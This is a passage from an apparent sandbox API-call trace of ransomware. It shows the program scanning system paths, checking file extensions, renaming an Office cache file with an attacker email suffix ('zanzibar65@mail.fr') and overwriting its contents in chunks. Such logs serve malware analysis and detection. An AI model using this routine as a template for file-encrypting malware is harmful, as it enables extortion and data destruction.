returned -1 [0034.019] lstrlenW (lpString=".pdf") returned 4 [0034.019] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.019] lstrlenW (lpString=".xls") returned 4 [0034.019] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.019] lstrlenW (lpString=".xlsx") returned 5 [0034.019] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.019] lstrlenW (lpString=".ppt") returned 4 [0034.019] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.019] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0034.020] lstrlenW (lpString=".zip") returned 4 [0034.020] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.020] lstrlenW (lpString=".rar") returned 4 [0034.020] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.020] lstrlenW (lpString=".bz2") returned 4 [0034.020] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.020] lstrlenW (lpString=".7z") returned 3 [0034.020] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.020] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0034.020] lstrlenW (lpString=".dbf") returned 4 [0034.020] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.020] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0034.020] lstrlenW (lpString=".1cd") returned 4 [0034.020] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.020] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0034.020] lstrlenW (lpString=".jpg") returned 4 [0034.020] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.020] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0034.020] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0034.020] lstrlenW (lpString=".doc") returned 4 [0034.020] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.020] lstrlenW (lpString=".docx") returned 5 [0034.020] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.020] lstrlenW (lpString=".pdf") returned 4 [0034.020] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.020] lstrlenW (lpString=".xls") returned 4 [0034.020] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.020] lstrlenW (lpString=".xlsx") returned 5 [0034.020] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.020] lstrlenW (lpString=".ppt") returned 4 [0034.020] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.020] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0034.021] lstrlenW (lpString=".zip") returned 4 [0034.021] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.021] lstrlenW (lpString=".rar") returned 4 [0034.021] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.021] lstrlenW (lpString=".bz2") returned 4 [0034.021] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.021] lstrlenW (lpString=".7z") returned 3 [0034.021] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.021] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0034.021] lstrlenW (lpString=".dbf") returned 4 [0034.021] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.021] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0034.021] lstrlenW (lpString=".1cd") returned 4 [0034.021] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.021] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0034.021] lstrlenW (lpString=".jpg") returned 4 [0034.021] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.021] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0034.021] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0034.021] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.021] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=70208) returned 1 [0034.021] CloseHandle (hObject=0x178) returned 1 [0034.022] GetFileAttributesW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0034.022] GetFileAttributesW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.022] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.022] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0034.022] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0034.022] lstrlenW (lpString=".doc") returned 4 [0034.022] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.022] lstrlenW (lpString=".docx") returned 5 [0034.022] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.022] lstrlenW (lpString=".pdf") returned 4 [0034.022] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.022] lstrlenW (lpString=".xls") returned 4 [0034.022] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.022] lstrlenW (lpString=".xlsx") returned 5 [0034.022] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.022] lstrlenW (lpString=".ppt") returned 4 [0034.022] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.022] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0034.022] lstrlenW (lpString=".zip") returned 4 [0034.022] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.022] lstrlenW (lpString=".rar") returned 4 [0034.022] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.022] lstrlenW (lpString=".bz2") returned 4 [0034.022] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.022] lstrlenW (lpString=".7z") returned 3 [0034.022] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.022] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0034.022] lstrlenW (lpString=".dbf") returned 4 [0034.022] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.022] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0034.023] lstrlenW (lpString=".1cd") returned 4 [0034.023] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.023] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0034.023] lstrlenW (lpString=".jpg") returned 4 [0034.023] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.023] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0034.023] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0034.023] lstrlenW (lpString=".doc") returned 4 [0034.023] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.023] lstrlenW (lpString=".docx") returned 5 [0034.023] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.023] lstrlenW (lpString=".pdf") returned 4 [0034.023] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.023] lstrlenW (lpString=".xls") returned 4 [0034.023] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.023] lstrlenW (lpString=".xlsx") returned 5 [0034.023] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.023] lstrlenW (lpString=".ppt") returned 4 [0034.023] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.023] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0034.023] lstrlenW (lpString=".zip") returned 4 [0034.023] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.023] lstrlenW (lpString=".rar") returned 4 [0034.023] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.023] lstrlenW (lpString=".bz2") returned 4 [0034.023] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.023] lstrlenW (lpString=".7z") returned 3 [0034.023] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.023] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0034.023] lstrlenW (lpString=".dbf") returned 4 [0034.023] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.023] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0034.023] lstrlenW (lpString=".1cd") returned 4 [0034.024] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.024] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0034.024] lstrlenW (lpString=".jpg") returned 4 [0034.024] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.024] lstrlenW (lpString="bootmgr") returned 7 [0034.024] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.024] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=383786) returned 1 [0034.024] CloseHandle (hObject=0x178) returned 1 [0034.024] GetFileAttributesW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0034.024] GetFileAttributesW (lpFileName="C:\\bootmgr.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\bootmgr.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.024] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0034.024] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.024] lstrlenW (lpString="C:\\bootmgr") returned 10 [0034.025] lstrlenW (lpString="C:\\bootmgr") returned 10 [0034.025] lstrlenW (lpString=".doc") returned 4 [0034.025] lstrcmpiW (lpString1=".doc", lpString2="tmgr") returned -1 [0034.025] lstrlenW (lpString=".docx") returned 5 [0034.025] lstrcmpiW (lpString1=".docx", lpString2="otmgr") returned -1 [0034.025] lstrlenW (lpString=".pdf") returned 4 [0034.025] lstrcmpiW (lpString1=".pdf", lpString2="tmgr") returned -1 [0034.025] lstrlenW (lpString=".xls") returned 4 [0034.025] lstrcmpiW (lpString1=".xls", lpString2="tmgr") returned -1 [0034.025] lstrlenW (lpString=".xlsx") returned 5 [0034.025] lstrcmpiW (lpString1=".xlsx", lpString2="otmgr") returned -1 [0034.025] lstrlenW (lpString=".ppt") returned 4 [0034.025] lstrcmpiW (lpString1=".ppt", lpString2="tmgr") returned -1 [0034.025] lstrlenW (lpString="C:\\bootmgr") returned 10 [0034.025] lstrlenW (lpString=".zip") returned 4 [0034.025] lstrcmpiW (lpString1=".zip", lpString2="tmgr") returned -1 [0034.025] lstrlenW (lpString=".rar") returned 4 [0034.025] lstrcmpiW (lpString1=".rar", lpString2="tmgr") returned -1 [0034.025] lstrlenW (lpString=".bz2") returned 4 [0034.025] lstrcmpiW (lpString1=".bz2", lpString2="tmgr") returned -1 [0034.025] lstrlenW (lpString=".7z") returned 3 [0034.025] lstrcmpiW (lpString1=".7z", lpString2="mgr") returned -1 [0034.025] lstrlenW (lpString="C:\\bootmgr") returned 10 [0034.025] lstrlenW (lpString=".dbf") returned 4 [0034.025] lstrcmpiW (lpString1=".dbf", lpString2="tmgr") returned -1 [0034.025] lstrlenW (lpString="C:\\bootmgr") returned 10 [0034.025] lstrlenW (lpString=".1cd") returned 4 [0034.025] lstrcmpiW (lpString1=".1cd", lpString2="tmgr") returned -1 [0034.025] lstrlenW (lpString="C:\\bootmgr") returned 10 [0034.025] lstrlenW (lpString=".jpg") returned 4 [0034.025] lstrcmpiW (lpString1=".jpg", lpString2="tmgr") returned -1 [0034.025] lstrlenW (lpString="C:\\bootmgr") returned 10 [0034.025] lstrlenW (lpString="C:\\bootmgr") returned 10 [0034.026] lstrlenW (lpString=".doc") returned 4 [0034.026] lstrcmpiW (lpString1=".doc", lpString2="tmgr") returned -1 [0034.026] lstrlenW (lpString=".docx") returned 5 [0034.026] lstrcmpiW (lpString1=".docx", lpString2="otmgr") returned -1 [0034.026] lstrlenW (lpString=".pdf") returned 4 [0034.026] lstrcmpiW (lpString1=".pdf", lpString2="tmgr") returned -1 [0034.026] lstrlenW (lpString=".xls") returned 4 [0034.026] lstrcmpiW (lpString1=".xls", lpString2="tmgr") returned -1 [0034.026] lstrlenW (lpString=".xlsx") returned 5 [0034.026] lstrcmpiW (lpString1=".xlsx", lpString2="otmgr") returned -1 [0034.026] lstrlenW (lpString=".ppt") returned 4 [0034.026] lstrcmpiW (lpString1=".ppt", lpString2="tmgr") returned -1 [0034.026] lstrlenW (lpString="C:\\bootmgr") returned 10 [0034.026] lstrlenW (lpString=".zip") returned 4 [0034.026] lstrcmpiW (lpString1=".zip", lpString2="tmgr") returned -1 [0034.026] lstrlenW (lpString=".rar") returned 4 [0034.026] lstrcmpiW (lpString1=".rar", lpString2="tmgr") returned -1 [0034.026] lstrlenW (lpString=".bz2") returned 4 [0034.026] lstrcmpiW (lpString1=".bz2", lpString2="tmgr") returned -1 [0034.026] lstrlenW (lpString=".7z") returned 3 [0034.026] lstrcmpiW (lpString1=".7z", lpString2="mgr") returned -1 [0034.026] lstrlenW (lpString="C:\\bootmgr") returned 10 [0034.026] lstrlenW (lpString=".dbf") returned 4 [0034.026] lstrcmpiW (lpString1=".dbf", lpString2="tmgr") returned -1 [0034.026] lstrlenW (lpString="C:\\bootmgr") returned 10 [0034.026] lstrlenW (lpString=".1cd") returned 4 [0034.026] lstrcmpiW (lpString1=".1cd", lpString2="tmgr") returned -1 [0034.026] lstrlenW (lpString="C:\\bootmgr") returned 10 [0034.026] lstrlenW (lpString=".jpg") returned 4 [0034.026] lstrcmpiW (lpString1=".jpg", lpString2="tmgr") returned -1 [0034.027] lstrcmpiW (lpString1=".sys", lpString2=".html") returned 1 [0034.027] lstrlenW (lpString="hiberfil.sys") returned 12 [0034.027] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.027] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0034.027] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0034.027] lstrlenW (lpString=".doc") returned 4 [0034.027] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0034.027] lstrlenW (lpString=".docx") returned 5 [0034.027] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0034.027] lstrlenW (lpString=".pdf") returned 4 [0034.027] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0034.027] lstrlenW (lpString=".xls") returned 4 [0034.027] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0034.027] lstrlenW (lpString=".xlsx") returned 5 [0034.027] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0034.027] lstrlenW (lpString=".ppt") returned 4 [0034.027] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0034.027] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0034.027] lstrlenW (lpString=".zip") returned 4 [0034.027] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0034.027] lstrlenW (lpString=".rar") returned 4 [0034.027] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0034.027] lstrlenW (lpString=".bz2") returned 4 [0034.027] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0034.027] lstrlenW (lpString=".7z") returned 3 [0034.027] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0034.027] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0034.027] lstrlenW (lpString=".dbf") returned 4 [0034.027] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0034.027] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0034.027] lstrlenW (lpString=".1cd") returned 4 [0034.028] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0034.028] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0034.028] lstrlenW (lpString=".jpg") returned 4 [0034.028] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0034.028] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0034.028] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0034.028] lstrlenW (lpString=".doc") returned 4 [0034.028] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0034.028] lstrlenW (lpString=".docx") returned 5 [0034.028] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0034.028] lstrlenW (lpString=".pdf") returned 4 [0034.028] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0034.028] lstrlenW (lpString=".xls") returned 4 [0034.028] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0034.028] lstrlenW (lpString=".xlsx") returned 5 [0034.028] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0034.028] lstrlenW (lpString=".ppt") returned 4 [0034.028] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0034.028] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0034.028] lstrlenW (lpString=".zip") returned 4 [0034.028] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0034.028] lstrlenW (lpString=".rar") returned 4 [0034.028] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0034.028] lstrlenW (lpString=".bz2") returned 4 [0034.028] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0034.028] lstrlenW (lpString=".7z") returned 3 [0034.028] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0034.028] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0034.028] lstrlenW (lpString=".dbf") returned 4 [0034.028] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0034.028] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0034.028] lstrlenW (lpString=".1cd") returned 4 [0034.028] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0034.028] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0034.029] lstrlenW (lpString=".jpg") returned 4 [0034.029] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0034.029] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0034.029] lstrlenW (lpString="ExcelLR.cab") returned 11 [0034.029] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0034.053] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=16972987) returned 1 [0034.053] CloseHandle (hObject=0x170) returned 1 [0034.054] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020 [0034.054] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.054] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0034.324] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0034.324] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0x0) returned 1 [0034.324] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0034.324] ReadFile (in: hFile=0x170, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.332] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0034.332] ReadFile (in: hFile=0x170, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.341] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0034.341] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0034.341] ReadFile (in: hFile=0x170, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.595] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.596] WriteFile (in: hFile=0x170, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0034.609] SetEndOfFile (hFile=0x170) returned 1 [0034.609] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f182d8 [0034.609] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0034.609] WriteFile (in: hFile=0x170, lpBuffer=0x3f182d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f182d8*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.610] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0034.610] WriteFile (in: hFile=0x170, lpBuffer=0x3f182d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f182d8*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.611] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0034.611] WriteFile (in: hFile=0x170, lpBuffer=0x3f182d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f182d8*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.613] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f182d8 | out: hHeap=0x220000) returned 1 [0034.613] CloseHandle (hObject=0x170) returned 1 [0037.156] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0037.156] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.156] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.156] lstrlenW (lpString=".doc") returned 4 [0037.156] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0037.156] lstrlenW (lpString=".docx") returned 5 [0037.156] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0037.156] lstrlenW (lpString=".pdf") returned 4 [0037.156] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0037.156] lstrlenW (lpString=".xls") returned 4 [0037.156] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0037.157] lstrlenW (lpString=".xlsx") returned 5 [0037.157] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0037.157] lstrlenW (lpString=".ppt") returned 4 [0037.157] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0037.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.157] lstrlenW (lpString=".zip") returned 4 [0037.157] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0037.157] lstrlenW (lpString=".rar") returned 4 [0037.157] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0037.157] lstrlenW (lpString=".bz2") returned 4 [0037.157] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0037.157] lstrlenW (lpString=".7z") returned 3 [0037.157] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0037.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.157] lstrlenW (lpString=".dbf") returned 4 [0037.157] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0037.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.157] lstrlenW (lpString=".1cd") returned 4 [0037.157] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0037.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.157] lstrlenW (lpString=".jpg") returned 4 [0037.157] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0037.157] lstrlenW (lpString="C:\\MSOCache\\All 